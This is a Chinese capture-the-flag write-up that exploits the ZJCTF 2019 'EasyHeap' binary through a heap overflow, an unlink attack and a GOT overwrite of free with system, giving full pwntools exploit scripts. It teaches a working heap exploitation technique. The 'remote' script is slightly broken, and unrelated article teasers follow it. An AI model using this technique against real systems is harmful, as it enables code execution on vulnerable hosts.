[ZJCTF 2019]EasyHeap-patchlibc-调试

news2024/12/26 23:48:19

1,三连
在这里插入图片描述主要功能:
1、malloc申请chunk
2、修改chunk内容
3、free chunk
4、exit

堆题多看一个libc信息:
在这里插入图片描述

2,IDA分析

2.1、malloc申请chunk
在这里插入图片描述

  • heaparray[i]:存放 chunk 的地址。
  • read_input(heaparray[i], size):向 chunk 写入 size 大小的内容。
  • heaparray是存放在bss段上的(一个全局地址,这很关键)

2.2、修改chunk内容
在这里插入图片描述- read_input(*(&heaparray + v1), v2)向 chunk 中写入 v2(我们可输入控制) 大小的内容,也就是说如果 v2 比 create 时的 size 大的话就会造成堆溢出。

2.3、free chunk

在这里插入图片描述

  • 安全的free chunk,不存在UFA

2.4、找到个system
在这里插入图片描述
思路:unlink利用,PIE保护也没有开启,正好可以修改free的got表.

3,首先针对每个函数写出对应的函数

def add(size,content):
    r.recvuntil("Your choice :")
    r.sendline('1')
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap:")
    r.sendline(content)

def edit(idx, size, content):
    r.recvuntil("Your choice :")
    r.sendline('2')
    r.recvuntil("Index :")
    r.sendline(str(idx))
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap : ")
    r.sendline(content)

def delete(idx):
    r.recvuntil("Your choice :")
    r.sendline('3')
    r.recvuntil("Index :")
    r.sendline(str(idx))

获取到堆在BSS段上的地址:heaparray_addr = 0x6020E0

4,不断调试测试payload
首先创建三个chunk:

add(0x90,b"AAAA")	#CHUNK0
add(0x90,b"AAAA")	#CHUNK1
add(0x20,b"/bin/sh\x00")	#CHUNK2

编辑chunk0构造出一个fake_chunk,方便chunk1 free的时候进行合并:

# pre_size + size + fd + bk
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)
# mem
fake_chunk = fake_chunk.ljust(0x90,b'A')
# pre_size + size
fake_chunk += p64(0x90) + p64(0xa0)

扩展:
已经patch了libc,但是ld和libc还是得这样分来指定才能顺利替换,奇怪!
如果全都本地指定也不行。
在这里插入图片描述
调试1:
在这里插入图片描述调试2:
在这里插入图片描述unlink前状态:
在这里插入图片描述

调试3:
前面伪造的fd=0x6020C8
在这里插入图片描述调试4:
后面只用关注伪造的fd地址0x6020C8即可,也即是heaparray_addr - 0x18
在这里插入图片描述调试5:
在这里插入图片描述
完整调试payload:

from pwn import *

context.log_level = "debug"

#r = remote("node4.buuoj.cn",27837)
#r = process("./easyheap")

#r = process(["ld-2.23.so","./easyheap"],env={"LD_PRELOAD":"./libc-2.23.so"}) 
r = process(["./easyheap"],env={"LD_PRELOAD":"./libc-2.23.so"}) 

elf = ELF("./easyheap")


def add(size,content):
    r.recvuntil("Your choice :")
    r.sendline('1')
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap:")
    r.sendline(content)

def edit(idx, size, content):
    r.recvuntil("Your choice :")
    r.sendline('2')
    r.recvuntil("Index :")
    r.sendline(str(idx))
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap : ")
    r.sendline(content)

def delete(idx):
    r.recvuntil("Your choice :")
    r.sendline('3')
    r.recvuntil("Index :")
    r.sendline(str(idx))

heaparray_addr = 0x6020E0
system_plt = elf.plt['system']
free_got = elf.got['free']

gdb.attach(r)
#gdb.attach(r, '''
#    set follow-fork-mode child
#    b *0x400000+0xC34
#    c
#''')

add(0x90,b"AAA")#0
add(0x90,b"AAA")#1
add(0x20,b"/bin/sh\x00")#2

#pause()#break1
# pre_size + size + fd + bk
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)

# mem
fake_chunk = fake_chunk.ljust(0x90,b'A')
# pre_size + size
fake_chunk += p64(0x90) + p64(0xa0)

edit(0,0x100,fake_chunk)
#pause()#break2
#unlink
delete(1)
#pause()#break3

#chunk[3] = arbitray write addr
payload = p64(0)*3 + p64(free_got)
edit(0,0x20,payload)
#pause()#break4
#chunk[0] = plt
edit(0,8,p64(system_plt))
pause()#break5
delete(2)

r.interactive()

pause()调试缺点:注释后每次都得重新执行

复习思路:
heaparray_addr = malloc(chunk0)这里获得的就是&chunk[0];
unlink后
chunk[3] == &chunk[0];
通过修改chunk[3]的值 ->控制 &chunk[0] ->
heaparray_addr的值被修改,本来应该是真正堆上的地址变成了chunk[3] = [任意地址]
heaparray_addr = &chunk[0] == chunk[3] ->实现[任意地址]写

unlink场景特征:
1、存在溢出
2、一个全局指针

目的:
实现任意地址写

解题技巧:
1、伪造chunk[2]=[全局地址-3] ;chunk[3] = [全局地址-2]
(目的:为了实现unlink后,chunk[3] == &chunk[0];)
2、溢出伪造下一个chunk的pre_size和size
3、填入控制任意地址,chunk[3] = [任意地址]
4、给任意地址填入内容,chunk[0] = [任意内容]

5,远程不调试版payload

from pwn import *

context.log_level = "debug"


r = process("node4.buuoj.cn",28444)

elf = ELF("./easyheap")


def add(size,content):
    r.recvuntil("Your choice :")
    r.sendline('1')
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap:")
    r.sendline(content)

def edit(idx, size, content):
    r.recvuntil("Your choice :")
    r.sendline('2')
    r.recvuntil("Index :")
    r.sendline(str(idx))
    r.recvuntil("Size of Heap : ")
    r.sendline(str(size))
    r.recvuntil("Content of heap : ")
    r.sendline(content)

def delete(idx):
    r.recvuntil("Your choice :")
    r.sendline('3')
    r.recvuntil("Index :")
    r.sendline(str(idx))

heaparray_addr = 0x6020E0
system_plt = elf.plt['system']
free_got = elf.got['free']


add(0x90,b"AAA")#0
add(0x90,b"AAA")#1
add(0x20,b"/bin/sh\x00")#2

# pre_size + size + fd + bk
fake_chunk = p64(0)+p64(0x91) + p64(heaparray_addr-0x18) + p64(heaparray_addr-0x10)

gdb.attach(r)
#gdb.attach(sh,"b* 0x400930")

# mem
fake_chunk = fake_chunk.ljust(0x90,b'A')
# pre_size + size
fake_chunk += p64(0x90) + p64(0xa0)


edit(0,0x100,fake_chunk)
#unlink
delete(1)


#chunk[3] = arbitray write addr
payload = p64(0)*3 + p64(free_got)
edit(0,0x20,payload)
#chunk[0] = plt
delete(2)

r.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/462930.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

亚马逊云科技宣布四大举措,全方位赋能创新成长企业

4月13日,以“加速创新,成就未来”为主题的亚马逊云科技创新成长中国行深圳论坛圆满举行。会上亚马逊云科技宣布,将围绕创新成长企业的三大业务需求——云上创新、出海拓展、业务加速,提供行业聚焦、技术支撑、伙伴扶持、人才培养四…

ENVI5.3 自动配准流程化工具(Image Registration Workflow)配准方法流程

ENVI5.3 自动配准流程化工具(Image Registration Workflow)配准方法流程。 打开 ENVI软件中的Image Registration Workflow工具,分辨打开参考图像和待校正的图像。 Base Image File是参考图像,参考图像的范围应比待校正图像的范围…

LaTeX论文自动化排版

本文介绍了一些论文写作的在线课程,方便读者朋友们自学,提高论文写作的能力。论文写作的在线课程非常多,读者朋友们也可以在网上自行搜索,选择适合自己的在线课程进行学习。如需要打开课程的网站,请复制课程的网址到浏…

威胁行为者针对云中的常见漏洞

Palo Alto Networks 已发布其第 42 单元云威胁报告的第 7 卷。该报告调查了 1300 多家组织。它分析了所有主要云服务提供商 (CSP) 的 210000 个云帐户、订阅和项目中的工作负载,为安全领导者和从业者提供了云安全的多方面视图。 云迁移的速度从 2021 年的 3700 亿…

Codeforces Round 867 (Div. 3) (E-G)

Problem - E - Codeforces (1)题目大意 给你一个字符串,问你让字符串每一对相对应位置都不同的最小操作数是多少?(A[i]和A[n - i],A[i 1]和A[n - i - 1]) (2)解题思路 1.首…

数据库基础篇 《16.变量、流程控制与游标》

数据库基础篇 《16.变量、流程控制与游标》 1. 变量 在MySQL数据库的存储过程和函数中,可以使用变量来存储查询或计算的中间结果数据,或者输出最终的结果数据。 在 MySQL 数据库中,变量分为系统变量以及用户自定义变量。 1.1 系统变量 1…

深度学习入门:多层感知机实现异或门

文章目录 前言感知机2层感知机实现异或门总结参考文献: 前言 最近又开始看深度学习的内容了,好久不用忘得差不多了,先从最简单的感知机入手了,这里记录下用2层感知机实现异或门。 感知机 什么是感知机呢?这里粗浅的介…

初步了解c语言(三)

注:此篇文章仅限初步了解,本小白后续会持续进行详解。 目录: 函数数组数组的定义数组的下标 操作符常见关键字关键字static的使用修饰局部变量修饰全局变量修饰函数 关键字register的大概了解#define定义常量和宏结构体💞结尾 函数…

RuntimeError: “LayerNormKernelImpl“ not implemented for ‘Long‘解决方法

问题出现的场景: 输入: import torch import torch.nn as nn atorch.randint(10,[3,4]) # atorch.DoubleTensor(a) # aa.double() print(a) layer_normnn.LayerNorm(4) layer_norm(a) 我就是想测试一下经过layernorm之后的输出会变成什么样 但是报错…

Pycharm中如何安装 OpenAI ——ChatGPT的python包?

本文由 大侠(AhcaoZhu)原创,转载请声明。 链接: https://blog.csdn.net/Ahcao2008 Pycharm中如何安装 OpenAI ——ChatGPT的python包? 摘要背景安装1、安装前准备2、安装前提条件3、依赖库 最佳安装过程1、检查 VC2、看哪些依赖库未安装3、将未装模块写成 test02.b…

js 打开资源管理器(经典范例:纯前端选择并预览图片)

效果预览 完整代码范例 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta http-equiv"X-UA-Compatible" content"IEedge" /><meta name"viewport" content"width…

C++STL详解(十) -- 使用哈希表封装unordered_set和unordered_map

文章目录 哈希表模板参数改造针对模板参数V改造增加仿函数获取具体数据类型. 哈希表的正向迭代器正向迭代器中的内置成员:正向迭代器的成员函数 哈希表插入函数的修改(适用于unordered_map)一个类型K去做set和unordered_set他的模板参数的必备条件.unordered_set的模拟实现(完整…

不得不的创建型模式-原型模式

原型模式是一种创建型模式&#xff0c;它通过复制一个已有对象来创建新的对象&#xff0c;而无需知道新对象的具体类型。 原型模型的结构&#xff1a; 下面是一个简单的C实现原型模式的代码示例&#xff1a; #include <iostream> #include <string> #include <…

React markdown 编辑器

react-markdown 是一款 github 上开源的适用于 react 的 markdown 组件&#xff0c;可以基本实现 markdown 的功能&#xff0c;且可以根据自己实际应用定制的 remark 组件。 安装 安装 markdown 预览插件 react-markdown npm install react-markdown或者&#xff1a; yarn …

Flask+mysql简单问答网站(实现公网可访问)

先到github下载仓库文件 https://github.com/QHCV/flask_mysql_blog python版本3.8&#xff0c;提前安装好Mysql数据库 1.安装python包 pip install -r requirements.txt2.修改配置文件config.py Mysql数据库用户名和密码用于发送验证码的邮箱配置 ​ 在设置->账户下开…

数仓建设规划核心问题!

小A进入一家网约车出现服务公司&#xff0c;负责公司数仓建设&#xff0c;试用期主要一项 OKR是制定数据仓库建设规划&#xff1b;因此小 A 本着从问题出发为原点&#xff0c;先对公司数仓现状进行一轮深入了解&#xff0c;理清存在问题&#xff0c;然后在以不忘初心原则提出解…

提取文本的摘要snownlp模块

【小白从小学Python、C、Java】 【计算机等级考试500强双证书】 【Python-数据分析】 提取文本的摘要 snownlp模块 [太阳]选择题 关于以下python代码说法错误的一项是&#xff1f; from snownlp import SnowNLP myText """ChatGPT的出现标志着人类科技发…

CSS3 grid网格布局

文章目录 CSS3 grid网格布局概述grid属性说明使用grid-template-rows & grid-template-columns 定义行高和列宽grid-auto-flow 定义项目的排列顺序grid-auto-rows & grid-auto-columns 定义多余网格的行高和列宽row-gap & column-gap 设置行间距和列间距gap 简写形…

Java版spring cloud 本工程项目管理系统源码-全面的工程项目管理

​ ​工程项目管理系统是指从事工程项目管理的企业&#xff08;以下简称工程项目管理企业&#xff09;受业主委托&#xff0c;按照合同约定&#xff0c;代表业主对工程项目的组织实施进行全过程或若干阶段的管理和服务。 如今建筑行业竞争激烈&#xff0c;内卷严重&#xff0c…

Leetcode605. 种花问题

Every day a leetcode 题目来源&#xff1a;605. 种花问题 解法1&#xff1a;贪心 贪心思想&#xff1a;在不打破种植规则的情况下种入尽可能多的花&#xff0c;然后用“最大种植数量”和“所需要种植数量”进行大小比较即可。 设地块长度为n&#xff0c;种花的情况可分为4…